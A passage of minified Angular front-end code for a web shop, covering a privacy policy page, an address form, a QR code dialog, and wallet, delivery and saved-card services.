Shop"}ngOnInit(){this.applicationUrl=this._document.location.protocol+"//"+this._document.location.hostname,this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.name&&(this.applicationName=e.application.name),this.privacyContactEmail=e?.application?.privacyContactEmail?e.application.privacyContactEmail:`donotreply@${this._document.location.hostname}`},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.K0),t.Y36(b.e))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-privacy-policy"]],decls:169,vars:9,consts:[[1,"mat-elevation-z6"],[1,"privacy-policy"],["translate",""],[1,"hot"],["href","https://www.freeprivacypolicy.com/","aria-label","Link to the page where the privacy policy was created"],[1,"divider"],["src","assets/public/images/padding/81px.png"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"section",1)(2,"h1",2),t._uU(3,"TITLE_PRIVACY_POLICY"),t.qZA(),t.TgZ(4,"p"),t._uU(5,"Effective date: March 15, 2019"),t.qZA(),t.TgZ(6,"p"),t._uU(7),t.TgZ(8,"span",3),t._uU(9),t.qZA(),t._uU(10,\' website (the "Service").\'),t.qZA(),t.TgZ(11,"p"),t._uU(12),t.TgZ(13,"a",4),t._uU(14,"Free Privacy Policy website"),t.qZA(),t._uU(15,"."),t.qZA(),t.TgZ(16,"p"),t._uU(17),t.qZA(),t._UZ(18,"mat-divider",5),t.TgZ(19,"h2"),t._uU(20,"A. Information Collection And Use"),t.qZA(),t.TgZ(21,"p"),t._uU(22,"We collect several different types of information for various purposes to provide and improve our Service to you."),t.qZA(),t.TgZ(23,"h3"),t._uU(24,"A1. Types of Data Collected"),t.qZA(),t.TgZ(25,"h4"),t._uU(26,"A1.1 Personal Data"),t.qZA(),t.TgZ(27,"p"),t._uU(28,\'While using our Service, we may ask you to provide us with certain personally identifiable information that can be used to contact or identify you ("Personal Data"). Personally identifiable information may include, but is not limited to:\'),t.qZA(),t.TgZ(29,"ul")(30,"li"),t._uU(31,"Email address"),t.qZA(),t.TgZ(32,"li"),t._uU(33,"Address, State, Province, ZIP/Postal code, City"),t.qZA(),t.TgZ(34,"li"),t._uU(35,"Cookies and Usage Data"),t.qZA()(),t.TgZ(36,"h4"),t._uU(37,"A1.2 Usage Data"),t.qZA(),t.TgZ(38,"p")(39,"span",3),t._uU(40,"We may also"),t.qZA(),t._uU(41,\' collect information how the Service is accessed and used ("Usage Data"). This Usage Data may include information such as your computer\\\'s Internet Protocol address (e.g. IP address), browser type, browser version, the pages of our Service that you visit, the time and date of your visit, the time spent on those pages, unique device identifiers and other diagnostic data.\'),t.qZA(),t.TgZ(42,"h4"),t._uU(43,"A1.3 Tracking & Cookies Data"),t.qZA(),t.TgZ(44,"p"),t._uU(45,"We use cookies and similar tracking technologies to track the activity on our Service and hold certain information."),t.qZA(),t.TgZ(46,"p"),t._uU(47,"Cookies are files with small amount of data which may include an anonymous unique identifier. Cookies are sent to your browser from a website and stored on your device. Tracking technologies also used are beacons, tags, and scripts to collect and track information and to improve and analyze our Service."),t.qZA(),t.TgZ(48,"p"),t._uU(49,"You can "),t.TgZ(50,"span",3),t._uU(51,"instruct you"),t.qZA(),t._uU(52,"r browser "),t.TgZ(53,"span",3),t._uU(54,"to refuse all"),t.qZA(),t._uU(55," cookies or to indicate when a cookie is being sent. However, if you do not accept cookies, you may not be able to use some portions of our Service."),t.qZA(),t.TgZ(56,"p"),t._uU(57,"Examples of Cookies we use:"),t.qZA(),t.TgZ(58,"ul")(59,"li")(60,"strong"),t._uU(61,"Session Cookies:"),t.qZA(),t._uU(62," \\xa0We use Session Cookies to operate our Service."),t.qZA(),t.TgZ(63,"li")(64,"strong"),t._uU(65,"Preference Cookies:"),t.qZA(),t._uU(66,"\\xa0We use Preference Cookies to remember your preferences and various settings. "),t.qZA(),t.TgZ(67,"li")(68,"strong"),t._uU(69,"Security Cookies:"),t.qZA(),t._uU(70,"\\xa0We use Security Cookies for security purposes."),t.qZA()(),t.TgZ(71,"h3"),t._uU(72,"A2. Use of Data"),t.qZA(),t.TgZ(73,"p"),t._uU(74),t.qZA(),t.TgZ(75,"ul")(76,"li"),t._uU(77,"To provide and maintain the Service"),t.qZA(),t.TgZ(78,"li"),t._uU(79,"To notify you about changes to our Service"),t.qZA(),t.TgZ(80,"li"),t._uU(81,"To allow you to participate in interactive features of our Service when you choose to do so"),t.qZA(),t.TgZ(82,"li"),t._uU(83,"To provide customer care and support"),t.qZA(),t.TgZ(84,"li"),t._uU(85,"To provide analysis or valuable information so that we can improve the Service"),t.qZA(),t.TgZ(86,"li"),t._uU(87,"To monitor the usage of the Service"),t.qZA(),t.TgZ(88,"li"),t._uU(89,"To detect, prevent and address technical issues"),t.qZA()(),t._UZ(90,"mat-divider",5),t.TgZ(91,"h2"),t._uU(92,"B. Transfer Of Data"),t.qZA(),t.TgZ(93,"p"),t._uU(94,"Your information, including Personal Data, may be transferred to \\u2014 and maintained on \\u2014 computers located outside of your state, province, country or other governmental jurisdiction where the data protection laws may differ than those from your jurisdiction."),t.qZA(),t.TgZ(95,"p"),t._uU(96,"If you are located outside Germany and choose to provide information to us, please note that we transfer the data, including Personal Data, to Germany and process it there."),t.qZA(),t.TgZ(97,"p"),t._uU(98,"Your consent to this Privacy Policy followed by your submission of such information represents your agreement to that transfer."),t.qZA(),t.TgZ(99,"p"),t._uU(100),t.TgZ(101,"span",3),t._uU(102,"reasonably necessary"),t.qZA(),t._uU(103," to ensure that your data is treated securely and in accordance with this Privacy Policy and no transfer of your Personal Data will take place to an organization or a country unless there are adequate controls in place including the security of your data and other personal information."),t.qZA(),t._UZ(104,"mat-divider",5),t.TgZ(105,"h2"),t._uU(106,"C. Disclosure Of Data"),t.qZA(),t.TgZ(107,"h3"),t._uU(108,"C1. Legal Requirements"),t.qZA(),t.TgZ(109,"p"),t._uU(110),t.qZA(),t.TgZ(111,"ul")(112,"li"),t._uU(113,"To comply with a legal obligation"),t.qZA(),t.TgZ(114,"li"),t._uU(115),t.qZA(),t.TgZ(116,"li"),t._uU(117,"To prevent or investigate possible wrongdoing in connection with the Service"),t.qZA(),t.TgZ(118,"li"),t._uU(119,"To protect the personal safety of users of the Service or the public"),t.qZA(),t.TgZ(120,"li"),t._uU(121,"To protect against legal liability"),t.qZA()(),t._UZ(122,"mat-divider",5),t.TgZ(123,"h2"),t._uU(124,"D. Security Of Data"),t.qZA(),t.TgZ(125,"p"),t._uU(126,"The security of your data is important to us, but remember that no method of transmission over the Internet, or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Data, we cannot guarantee its absolute security."),t.qZA(),t._UZ(127,"mat-divider",5),t.TgZ(128,"h2"),t._uU(129,"E. Service Providers"),t.qZA(),t.TgZ(130,"p"),t._uU(131,\'We may employ third party companies and individuals to facilitate our Service ("Service Providers"), to provide the Service on our behalf, to perform Service-related services or to assist us in analyzing how our Service is used.\'),t.qZA(),t.TgZ(132,"p"),t._uU(133,"These third parties have access to your Personal Data only to perform these tasks on our behalf and are obligated not to disclose or use it for any other purpose."),t.qZA(),t._UZ(134,"mat-divider",5),t.TgZ(135,"h2"),t._uU(136,"F. Links To Other Sites"),t.qZA(),t.TgZ(137,"p"),t._uU(138,"Our Service may contain links to other sites that are not operated by us. If you click on a third party link, you will be directed to that third party\'s site. We strongly advise you to review the Privacy Policy of every site you visit."),t.qZA(),t.TgZ(139,"p"),t._uU(140,"We have no control over and assume no "),t.TgZ(141,"span",3),t._uU(142,"responsibility"),t.qZA(),t._uU(143," for the content, privacy policies or practices of any third party sites or services."),t.qZA(),t._UZ(144,"mat-divider",5),t.TgZ(145,"h2"),t._uU(146,"G. Children\'s Privacy"),t.qZA(),t.TgZ(147,"p"),t._uU(148,\'Our Service does not address anyone under the age of 18 ("Children").\'),t.qZA(),t.TgZ(149,"p"),t._uU(150,"We do not knowingly collect personally identifiable information from anyone under the age of 18. If you are a parent or guardian and you are aware that your Children has provided us with Personal Data, please contact us. If we become aware that we have collected Personal Data from children without verification of parental consent, we take steps to remove that information from our servers."),t.qZA(),t._UZ(151,"mat-divider",5),t.TgZ(152,"h2"),t._uU(153,"H. Changes To This Privacy Policy"),t.qZA(),t.TgZ(154,"p"),t._uU(155,"We may update our Privacy Policy from time to time. We will notify you of any changes by posting the new Privacy Policy on this page."),t.qZA(),t.TgZ(156,"p"),t._uU(157,\'We will let you know via email and/or a prominent notice on our Service, prior to the change becoming effective and update the "effective date" at the top of this Privacy Policy.\'),t.qZA(),t.TgZ(158,"p"),t._uU(159,"You are advised to review this Privacy Policy periodically for any changes. Changes to this Privacy Policy are effective when they are posted on this page."),t.qZA(),t._UZ(160,"mat-divider",5),t.TgZ(161,"h2"),t._uU(162,"Contact Us"),t.qZA(),t.TgZ(163,"p"),t._uU(164,"If you have any questions about this Privacy Policy, please contact us:"),t.qZA(),t.TgZ(165,"ul")(166,"li"),t._uU(167),t.qZA()()(),t._UZ(168,"img",6),t.qZA()),2&e&&(t.xp6(7),t.hij("",o.applicationName,\' ("us", "we", or "our") operates the \'),t.xp6(2),t.Oqu(o.applicationUrl),t.xp6(3),t.hij("This page informs you of our policies regarding the collection, use, and disclosure of personal data when you use our Service and the choices you have associated with that data. Our Privacy Policy for ",o.applicationName," is created with the help of the "),t.xp6(5),t.hij("We use your data to provide and improve the Service. By using the Service, you agree to the collection and use of information in accordance with this policy. Unless otherwise defined in this Privacy Policy, terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, accessible from ",o.applicationUrl," ."),t.xp6(57),t.hij("",o.applicationName," uses the collected data for various purposes:"),t.xp6(26),t.hij("",o.applicationName," will take all steps "),t.xp6(10),t.hij("",o.applicationName," may disclose your Personal Data in the good faith belief that such action is necessary to:"),t.xp6(5),t.hij("To protect and defend the rights or property of ",o.applicationName,""),t.xp6(52),t.hij("By email: ",o.privacyContactEmail,""))},dependencies:[u.Pi,T.a8,z.d],styles:[".privacy-policy[_ngcontent-%COMP%]{margin-bottom:15px;margin-left:8.33333%;width:83.3333%}p[_ngcontent-%COMP%]{margin-bottom:15px;text-align:justify;text-justify:inter-word}mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:50px;margin-left:auto;margin-right:auto;width:90%}h2[_ngcontent-%COMP%]{padding-top:10px}h3[_ngcontent-%COMP%]{font-weight:550}strong[_ngcontent-%COMP%]{font-style:italic;font-weight:550}h4[_ngcontent-%COMP%]{text-decoration:underline}.hot[_ngcontent-%COMP%]:hover{text-shadow:0 0 20px #fefcc9,10px -10px 30px #feec85,-20px -20px 40px #ffae34,20px -40px 50px #ec760c,-20px -60px 60px #cd4606,0 -80px 70px #973716,10px -90px 80px #451b0e}.divider[_ngcontent-%COMP%]{border-top-width:4px!important;margin-left:9%!important;width:82%!important}"]}),n})();function $r(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_COUNTRY "),t.qZA())}function Vr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NAME "),t.qZA())}function Xr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NUMBER "),t.qZA())}const ts=function(){return{range:"1000000-9999999999"}};function es(n,a){1&n&&(t.TgZ(0,"mat-error",18),t._uU(1,"INVALID_MOBILE_NUMBER "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,ts))}function ns(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_ZIP "),t.qZA())}function os(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_ADDRESS"),t.qZA())}function as(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_CITY "),t.qZA())}const is=function(){return{length:"160"}};let Re=(()=>{class n{constructor(e,o,i,r,l,m,v){this.location=e,this.formSubmitService=o,this.addressService=i,this.router=r,this.activatedRoute=l,this.translate=m,this.snackBarHelperService=v,this.countryControl=new s.p4("",[s.kI.required]),this.nameControl=new s.p4("",[s.kI.required]),this.numberControl=new s.p4("",[s.kI.required,s.kI.min(1111111),s.kI.max(9999999999)]),this.pinControl=new s.p4("",[s.kI.required,s.kI.maxLength(8)]),this.addressControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.cityControl=new s.p4("",[s.kI.required]),this.stateControl=new s.p4,this.address=void 0,this.mode="create",this.addressId=void 0}ngOnInit(){this.address={},this.activatedRoute.paramMap.subscribe(e=>{e.has("addressId")?(this.mode="edit",this.addressId=e.get("addressId"),this.addressService.getById(this.addressId).subscribe(o=>{this.initializeForm(o)})):(this.mode="create",this.addressId=null)}),this.formSubmitService.attachEnterKeyHandler("address-form","submitButton",()=>{this.save()})}save(){this.address.country=this.countryControl.value,this.address.fullName=this.nameControl.value,this.address.mobileNum=this.numberControl.value,this.address.zipCode=this.pinControl.value,this.address.streetAddress=this.addressControl.value,this.address.city=this.cityControl.value,this.address.state=this.stateControl.value,"edit"===this.mode?this.addressService.put(this.addressId,this.address).subscribe(e=>{this.address={},this.ngOnInit(),this.resetForm(),this.routeToPreviousUrl(),this.translate.get("ADDRESS_UPDATED",{city:e.city}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")})},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.address={},this.resetForm()}):this.addressService.save(this.address).subscribe(e=>{this.address={},this.ngOnInit(),this.resetForm(),this.routeToPreviousUrl(),this.translate.get("ADDRESS_ADDED",{city:e.city}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")})},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.address={},this.resetForm()})}initializeForm(e){this.countryControl.setValue(e.country),this.nameControl.setValue(e.fullName),this.numberControl.setValue(e.mobileNum),this.pinControl.setValue(e.zipCode),this.addressControl.setValue(e.streetAddress),this.cityControl.setValue(e.city),this.stateControl.setValue(e.state)}routeToPreviousUrl(){this.location.back()}resetForm(){this.countryControl.markAsUntouched(),this.countryControl.markAsPristine(),this.countryControl.setValue(""),this.nameControl.markAsUntouched(),this.nameControl.markAsPristine(),this.nameControl.setValue(""),this.numberControl.markAsUntouched(),this.numberControl.markAsPristine(),this.numberControl.setValue(""),this.pinControl.markAsUntouched(),this.pinControl.markAsPristine(),this.pinControl.setValue(""),this.addressControl.markAsUntouched(),this.addressControl.markAsPristine(),this.addressControl.setValue(""),this.cityControl.markAsUntouched(),this.cityControl.markAsPristine(),this.cityControl.setValue(""),this.stateControl.markAsUntouched(),this.stateControl.markAsPristine(),this.stateControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.Ye),t.Y36(rt),t.Y36(mt),t.Y36(U.F0),t.Y36(U.gz),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address-create"]],decls:69,vars:49,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["id","address-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","",3,"formControl","placeholder"],["translate","",4,"ngIf"],["type","number","matInput","",3,"formControl","placeholder"],["translate","",3,"translateParams",4,"ngIf"],["pin",""],["align","end"],["id","address","matInput","","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160",3,"formControl","placeholder"],["adress",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["mat-stroked-button","",1,"btn-return",3,"click"],["type","submit","id","submitButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"material-icons"],["translate","",3,"translateParams"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"ADD_NEW_ADDRESS"),t.qZA(),t.TgZ(4,"div",3)(5,"mat-form-field",4)(6,"mat-label",2),t._uU(7,"LABEL_COUNTRY"),t.qZA(),t._UZ(8,"input",5),t.ALo(9,"translate"),t.YNc(10,$r,2,0,"mat-error",6),t.qZA(),t.TgZ(11,"mat-form-field",4)(12,"mat-label",2),t._uU(13,"LABEL_NAME"),t.qZA(),t._UZ(14,"input",5),t.ALo(15,"translate"),t.YNc(16,Vr,2,0,"mat-error",6),t.qZA(),t.TgZ(17,"mat-form-field",4)(18,"mat-label",2),t._uU(19,"LABEL_MOBILE_NUMBER"),t.qZA(),t._UZ(20,"input",7),t.ALo(21,"translate"),t.YNc(22,Xr,2,0,"mat-error",6),t.YNc(23,es,2,2,"mat-error",8),t.qZA(),t.TgZ(24,"mat-form-field",4)(25,"mat-label",2),t._uU(26,"LABEL_ZIP_CODE"),t.qZA(),t._UZ(27,"input",5,9),t.ALo(29,"translate"),t.TgZ(30,"mat-hint",10),t._uU(31),t.qZA(),t.YNc(32,ns,2,0,"mat-error",6),t.qZA(),t.TgZ(33,"mat-form-field",4)(34,"mat-label",2),t._uU(35,"LABEL_ADDRESS"),t.qZA(),t._UZ(36,"textarea",11,12),t.ALo(38,"translate"),t.TgZ(39,"mat-hint",2),t._UZ(40,"i",13),t.TgZ(41,"em",14),t._uU(42),t.ALo(43,"translate"),t.qZA()(),t.TgZ(44,"mat-hint",10),t._uU(45),t.qZA(),t.YNc(46,os,2,0,"mat-error",6),t.qZA(),t.TgZ(47,"mat-form-field",4)(48,"mat-label",2),t._uU(49,"LABEL_CITY"),t.qZA(),t._UZ(50,"input",5),t.ALo(51,"translate"),t.YNc(52,as,2,0,"mat-error",6),t.qZA(),t.TgZ(53,"mat-form-field",4)(54,"mat-label",2),t._uU(55,"LABEL_STATE"),t.qZA(),t._UZ(56,"input",5),t.ALo(57,"translate"),t.qZA()(),t.TgZ(58,"div")(59,"button",15),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(60,"mat-icon"),t._uU(61," navigate_before "),t.qZA(),t._uU(62),t.ALo(63,"translate"),t.qZA(),t.TgZ(64,"button",16),t.NdJ("click",function(){return o.save()}),t.TgZ(65,"i",17),t._uU(66," send "),t.qZA(),t._uU(67),t.ALo(68,"translate"),t.qZA()()()()),2&e){const i=t.MAs(28),r=t.MAs(37);t.xp6(8),t.Q6J("formControl",o.countryControl)("placeholder",t.lcZ(9,27,"MANDATORY_COUNTRY")),t.xp6(2),t.Q6J("ngIf",o.countryControl.invalid&&o.countryControl.errors.required),t.xp6(4),t.Q6J("formControl",o.nameControl)("placeholder",t.lcZ(15,29,"MANDATORY_NAME")),t.xp6(2),t.Q6J("ngIf",o.nameControl.invalid&&o.nameControl.errors.required),t.xp6(4),t.Q6J("formControl",o.numberControl)("placeholder",t.lcZ(21,31,"MANDATORY_NUMBER")),t.xp6(2),t.Q6J("ngIf",o.numberControl.invalid&&o.numberControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&(o.numberControl.errors.min||o.numberControl.errors.max)),t.xp6(4),t.Q6J("formControl",o.pinControl)("placeholder",t.lcZ(29,33,"MANDATORY_ZIP")),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/8"),t.xp6(1),t.Q6J("ngIf",o.pinControl.invalid&&o.pinControl.errors.required),t.xp6(4),t.Q6J("formControl",o.addressControl)("placeholder",t.lcZ(38,35,"MANDATORY_ADDRESS")),t.xp6(6),t.Oqu(t.xi3(43,37,"MAX_TEXTAREA_LENGTH",t.DdM(48,is))),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.addressControl.invalid&&o.addressControl.errors.required),t.xp6(4),t.Q6J("formControl",o.cityControl)("placeholder",t.lcZ(51,40,"MANDATORY_CITY")),t.xp6(2),t.Q6J("ngIf",o.cityControl.invalid&&o.cityControl.errors.required),t.xp6(4),t.Q6J("formControl",o.stateControl)("placeholder",t.lcZ(57,42,"STATE_PLACEHOLDER")),t.xp6(6),t.hij(" ",t.lcZ(63,44,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",o.countryControl.invalid||o.nameControl.invalid||o.numberControl.invalid||o.pinControl.invalid||o.addressControl.invalid||o.cityControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(68,46,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.wV,s.JJ,s.nD,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}#submitButton[_ngcontent-%COMP%]{float:right}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.btn-return[_ngcontent-%COMP%]{float:left}input[_ngcontent-%COMP%]::-webkit-outer-spin-button, input[_ngcontent-%COMP%]::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;margin:0}"]}),n})(),rs=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o,this.addressId=void 0,this.showNextButton=!0}getMessage(e){this.addressId=e}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address-select"]],decls:2,vars:1,consts:[["id","card"],[3,"showNextButton"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"app-address",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("showNextButton",o.showNextButton))},dependencies:[ee],styles:[".btn-pay[_ngcontent-%COMP%]{display:block;width:100%}.mat-raised-button[_ngcontent-%COMP%]{margin-right:3px;margin-top:3px}#card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})(),ss=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-saved-address"]],decls:2,vars:1,consts:[[1,"main-wrapper"],[3,"allowEdit"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"app-address",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("allowEdit",!0))},dependencies:[ee],styles:[".main-wrapper[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})();O.vI.add(g.OFe);let le=(()=>{class n{constructor(e){this.dialogData=e}ngOnInit(){this.title=this.dialogData.title,this.url=this.dialogData.url,this.address=this.dialogData.address,this.data=this.dialogData.data}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-qr-code"]],decls:17,vars:11,consts:[[1,"qr-code","mat-typography"],["fxLayout","column","fxLayoutGap","10px"],[1,"container"],[3,"href"],[3,"value","size","level"],["mat-raised-button","","mat-dialog-close","",1,"close-dialog"],[1,"fas","fa-arrow-circle-left","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"header")(2,"h3"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t.TgZ(5,"div",1),t._UZ(6,"mat-divider"),t.TgZ(7,"div",2)(8,"a",3),t._UZ(9,"qr-code",4),t.qZA()(),t.TgZ(10,"small"),t._uU(11),t.qZA()(),t.TgZ(12,"footer")(13,"button",5),t._UZ(14,"i",6),t._uU(15),t.ALo(16,"translate"),t.qZA()()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,7,o.title)),t.xp6(5),t.Q6J("href",o.url,t.LSH),t.xp6(1),t.Q6J("value",o.data)("size",300)("level","M"),t.xp6(2),t.Oqu(o.address),t.xp6(4),t.hij(" ",t.lcZ(16,9,"BTN_CLOSE"),""))},dependencies:[p.xw,p.SQ,se.V,x.lW,N.ZT,z.d,u.X$]}),n})(),ce=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/wallet/balance"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}put(e){return this.http.put(this.host,e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Dt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Deliverys"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),ue=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Cards"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function ls(n,a){1&n&&t._UZ(0,"mat-header-cell",33)}function cs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",33)(1,"mat-radio-button",34),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.emitSelectionToParent(r.id))}),t.qZA()()}}function us(n,a){1&n&&t._UZ(0,"mat-header-cell",35)}function ps(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.cardNum," ")}}function ds(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function ms(n,a){if(1&n&&(t.TgZ(0,"mat-cell",36),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Oqu(e.fullName)}}function gs(n,a){1&n&&t._UZ(0,"mat-header-cell",37)}function hs(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.AsE("",e.expMonth,"/",e.expYear,"")}}function _s(n,a){1&n&&t._UZ(0,"mat-header-cell",33)}function fs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",33)(1,"button",38),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.delete(r.id))}),t._UZ(2,"i",39),t.qZA()()}}function Cs(n,a){1&n&&t._UZ(0,"mat-header-row")}function vs(n,a){1&n&&t._UZ(0,"mat-row")}function xs(n,a){if(1&n&&(t.TgZ(0,"div")(1,"mat-table",17),t.ynx(2,18),t.YNc(3,ls,1,0,"mat-header-cell",19),t.YNc(4,cs,2,0,"mat-cell",20),t.BQk(),t.ynx(5,21),t.YNc(6,us,1,0,"mat-header-cell",22),t.YNc(7,ps,2,1,"mat-cell",23),t.BQk(),t.ynx(8,24),t.YNc(9,ds,1,0,"mat-header-cell",25),t.YNc(10,ms,2,1,"mat-cell",26),t.BQk(),t.ynx(11,27),t.YNc(12,gs,1,0,"mat-header-cell",28),t.YNc(13,hs,2,2,"mat-cell",29),t.BQk(),t.ynx(14,30),t.YNc(15,_s,1,0,"mat-header-cell",19),t.YNc(16,fs,3,0,"mat-cell",20),t.BQk(),t.YNc(17,Cs,1,0,"mat-header-row",31),t.YNc(18,vs,1,0,"mat-row",32),t.qZA()()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("dataSource",e.dataSource),t.xp6(16),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function bs(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_NAME "),t.qZA())}function Ts(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_CARD_NUMBER "),t.qZA())}function As(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," VALID_CARD_NUMBER "),t.qZA())}function ys(n,a){if(1&n&&(t.TgZ(0,"option",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.s9C("value",e),t.xp6(1),t.Oqu(e)}}function Zs(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_EXPIRY_MONTH "),t.qZA())}function ws(n,a){if(1&n&&(t.TgZ(0,"option",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.s9C("value",e),t.xp6(1),t.Oqu(e)}}function Ss(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_EXPIRY_YEAR "),t.qZA())}O.vI.add(g.XCy,D.I7);let Ye=(()=>{class n{constructor(e,o,i){this.paymentService=e,this.translate=o,this.snackBarHelperService=i,this.emitSelection=new t.vpe,this.allowDelete=!1,this.displayedColumns=["Number","Name","Expiry"],this.nameControl=new s.p4("",[s.kI.required]),this.numberControl=new s.p4("",[s.kI.required,s.kI.min(1e15),s.kI.max(1e16)]),this.monthControl=new s.p4("",[s.kI.required]),this.yearControl=new s.p4("",[s.kI.required]),this.card={},this.cardsExist=!1,this.paymentId=void 0}ngOnInit(){this.monthRange=Array.from(Array(12).keys()).map(e=>e+1),this.yearRange=Array.from(Array(20).keys()).map(e=>e+2080),this.allowDelete?this.displayedColumns.push("Remove"):this.displayedColumns.unshift("Selection"),this.load()}load(){this.paymentService.get().subscribe(e=>{this.cardsExist=e.length,this.storedCards=e,this.dataSource=new 